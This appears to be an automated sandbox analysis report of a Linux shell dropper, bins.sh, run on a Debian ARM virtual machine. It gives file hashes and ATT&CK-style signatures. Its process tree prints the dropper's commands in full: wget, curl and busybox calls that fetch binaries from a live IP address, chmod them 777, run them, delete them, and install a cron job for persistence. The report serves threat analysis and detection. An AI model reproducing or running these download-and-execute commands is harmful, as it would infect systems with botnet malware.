Analysis

  • max time kernel
    149s
  • max time network
    98s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    25-11-2024 04:48

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    33940d0397837b5881a93decafb2d6b1

  • SHA1

    b628698bdb44575c1c23bec978e3d9fc1c884cec

  • SHA256

    f98486edcd5b27f2b019ed174345f85e8ea618f8fe85b5b10658d051775c6d00

  • SHA512

    8fa5b4f1c3dd50156baa943ba3a6f1dfc0fcaf568585a569c1dd8d05d6be3d4bdd17fc381c0be1dc9bd13b112151d9392b4e70f61343cfb00a0cdc3ea33bd99a

  • SSDEEP

    192:1gXvFQDivmLRsSqEJVVLLKSqEJV7XvFQDivVR:1gXvFQDivmLRsSqEJVVvKSqEJV7XvFQi

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:668
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:677
        • /usr/bin/wget
          wget http://216.126.231.240/bins/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
          2⤵
          • Writes file to tmp directory
          PID:678
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:691
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
          2⤵
          • Writes file to tmp directory
          PID:701
        • /bin/chmod
          chmod 777 hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
          2⤵
          • File and Directory Permissions Modification
          PID:703
        • /tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
          ./hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
          2⤵
          • Executes dropped EXE
          PID:704
        • /bin/rm
          rm hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp
          2⤵
            PID:706
          • /usr/bin/wget
            wget http://216.126.231.240/bins/HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i
            2⤵
            • Writes file to tmp directory
            PID:707
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:708
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i
            2⤵
            • Writes file to tmp directory
            PID:709
          • /bin/chmod
            chmod 777 HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i
            2⤵
            • File and Directory Permissions Modification
            PID:712
          • /tmp/HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i
            ./HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i
            2⤵
            • Executes dropped EXE
            PID:713
          • /bin/rm
            rm HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i
            2⤵
              PID:715
            • /usr/bin/wget
              wget http://216.126.231.240/bins/ZcSLeQ2DdaZsCt2dscjdQqweL23IxdgzfH
              2⤵
              • Writes file to tmp directory
              PID:716
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/ZcSLeQ2DdaZsCt2dscjdQqweL23IxdgzfH
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:722
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/ZcSLeQ2DdaZsCt2dscjdQqweL23IxdgzfH
              2⤵
              • Writes file to tmp directory
              PID:728
            • /bin/chmod
              chmod 777 ZcSLeQ2DdaZsCt2dscjdQqweL23IxdgzfH
              2⤵
              • File and Directory Permissions Modification
              PID:731
            • /tmp/ZcSLeQ2DdaZsCt2dscjdQqweL23IxdgzfH
              ./ZcSLeQ2DdaZsCt2dscjdQqweL23IxdgzfH
              2⤵
              • Executes dropped EXE
              PID:732
            • /bin/rm
              rm ZcSLeQ2DdaZsCt2dscjdQqweL23IxdgzfH
              2⤵
                PID:735
              • /usr/bin/wget
                wget http://216.126.231.240/bins/WjC03r9mv4xHDaPOmo2siKxMcyuz8FlmC5
                2⤵
                • Writes file to tmp directory
                PID:736
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/WjC03r9mv4xHDaPOmo2siKxMcyuz8FlmC5
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:742
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/WjC03r9mv4xHDaPOmo2siKxMcyuz8FlmC5
                2⤵
                • Writes file to tmp directory
                PID:750
              • /bin/chmod
                chmod 777 WjC03r9mv4xHDaPOmo2siKxMcyuz8FlmC5
                2⤵
                • File and Directory Permissions Modification
                PID:753
              • /tmp/WjC03r9mv4xHDaPOmo2siKxMcyuz8FlmC5
                ./WjC03r9mv4xHDaPOmo2siKxMcyuz8FlmC5
                2⤵
                • Executes dropped EXE
                PID:754
              • /bin/rm
                rm WjC03r9mv4xHDaPOmo2siKxMcyuz8FlmC5
                2⤵
                  PID:757
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/DAOVQKQBkBLb4Rt5OPrqvp4bYSOr95mo1m
                  2⤵
                  • Writes file to tmp directory
                  PID:758
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/DAOVQKQBkBLb4Rt5OPrqvp4bYSOr95mo1m
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:769
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/DAOVQKQBkBLb4Rt5OPrqvp4bYSOr95mo1m
                  2⤵
                  • Writes file to tmp directory
                  PID:776
                • /bin/chmod
                  chmod 777 DAOVQKQBkBLb4Rt5OPrqvp4bYSOr95mo1m
                  2⤵
                  • File and Directory Permissions Modification
                  PID:778
                • /tmp/DAOVQKQBkBLb4Rt5OPrqvp4bYSOr95mo1m
                  ./DAOVQKQBkBLb4Rt5OPrqvp4bYSOr95mo1m
                  2⤵
                  • Executes dropped EXE
                  PID:779
                • /bin/rm
                  rm DAOVQKQBkBLb4Rt5OPrqvp4bYSOr95mo1m
                  2⤵
                    PID:781
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/9TmvhtjylPoQNIuWw0sqc29NeLYtNZwoRx
                    2⤵
                    • Writes file to tmp directory
                    PID:782
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/9TmvhtjylPoQNIuWw0sqc29NeLYtNZwoRx
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:784
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/9TmvhtjylPoQNIuWw0sqc29NeLYtNZwoRx
                    2⤵
                    • Writes file to tmp directory
                    PID:792
                  • /bin/chmod
                    chmod 777 9TmvhtjylPoQNIuWw0sqc29NeLYtNZwoRx
                    2⤵
                    • File and Directory Permissions Modification
                    PID:795
                  • /tmp/9TmvhtjylPoQNIuWw0sqc29NeLYtNZwoRx
                    ./9TmvhtjylPoQNIuWw0sqc29NeLYtNZwoRx
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:796
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:798
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:800
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:802
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:803
                      • /bin/rm
                        rm 9TmvhtjylPoQNIuWw0sqc29NeLYtNZwoRx
                        2⤵
                          PID:806
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/5IbyfeUNjZdwNTUqp0IHyc5hvZ71Pp7vgy
                          2⤵
                            PID:810
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/5IbyfeUNjZdwNTUqp0IHyc5hvZ71Pp7vgy
                            2⤵
                              PID:811

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/9TmvhtjylPoQNIuWw0sqc29NeLYtNZwoRx

                            Filesize

                            177KB

                            MD5

                            786d75a158fe731feca3880f436082c0

                            SHA1

                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                            SHA256

                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                            SHA512

                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                          • /tmp/DAOVQKQBkBLb4Rt5OPrqvp4bYSOr95mo1m

                            Filesize

                            98KB

                            MD5

                            5141342d0df8699fa32a6b066a0c592e

                            SHA1

                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                            SHA256

                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                            SHA512

                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                          • /tmp/HjCm6nj7CV8lCKcij1828qHzP3dqz6N27i

                            Filesize

                            111KB

                            MD5

                            701e7a55a4f3650f5feee92a9860e5fc

                            SHA1

                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                            SHA256

                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                            SHA512

                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                          • /tmp/WjC03r9mv4xHDaPOmo2siKxMcyuz8FlmC5

                            Filesize

                            117KB

                            MD5

                            849fa04ef88a8e8de32cb2e8538de5fe

                            SHA1

                            c768af29fe4b6695fff1541623e8bbd1c6f242f7

                            SHA256

                            8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                            SHA512

                            2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                          • /tmp/ZcSLeQ2DdaZsCt2dscjdQqweL23IxdgzfH

                            Filesize

                            107KB

                            MD5

                            eb9c3a0de91fcf16ba17cb24608df68c

                            SHA1

                            09d95a7d70d5e115d103be51edff7c498d272fac

                            SHA256

                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                            SHA512

                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          • /tmp/hfXI4t6DGX6k1Bd909GIHd4JXa0QzaV4Dp

                            Filesize

                            99KB

                            MD5

                            9438d9bc392bcf300a5583b6df5bc8f6

                            SHA1

                            375a6ae34b516f6f3eeea8030c4084f585017efa

                            SHA256

                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                            SHA512

                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                          • /var/spool/cron/crontabs/tmp.nkOA2w

                            Filesize

                            210B

                            MD5

                            0553bed918825bcac9b3902cc69d3cce

                            SHA1

                            2280dd989f5980f3d22c7499112bf04d7beeefed

                            SHA256

                            7c5ac2d89aa49ca6dd08b85f1dff449aec5cee10ae5b74efd3b3db70bb20894d

                            SHA512

                            17adc965e98ef86106b3a68e6fd885ab5ecad4e23b4f65d5cb6e780574ca9d346ce80990cefef26129bd7cacc76373b438c65cde71848bbba06e8e36e7f9469f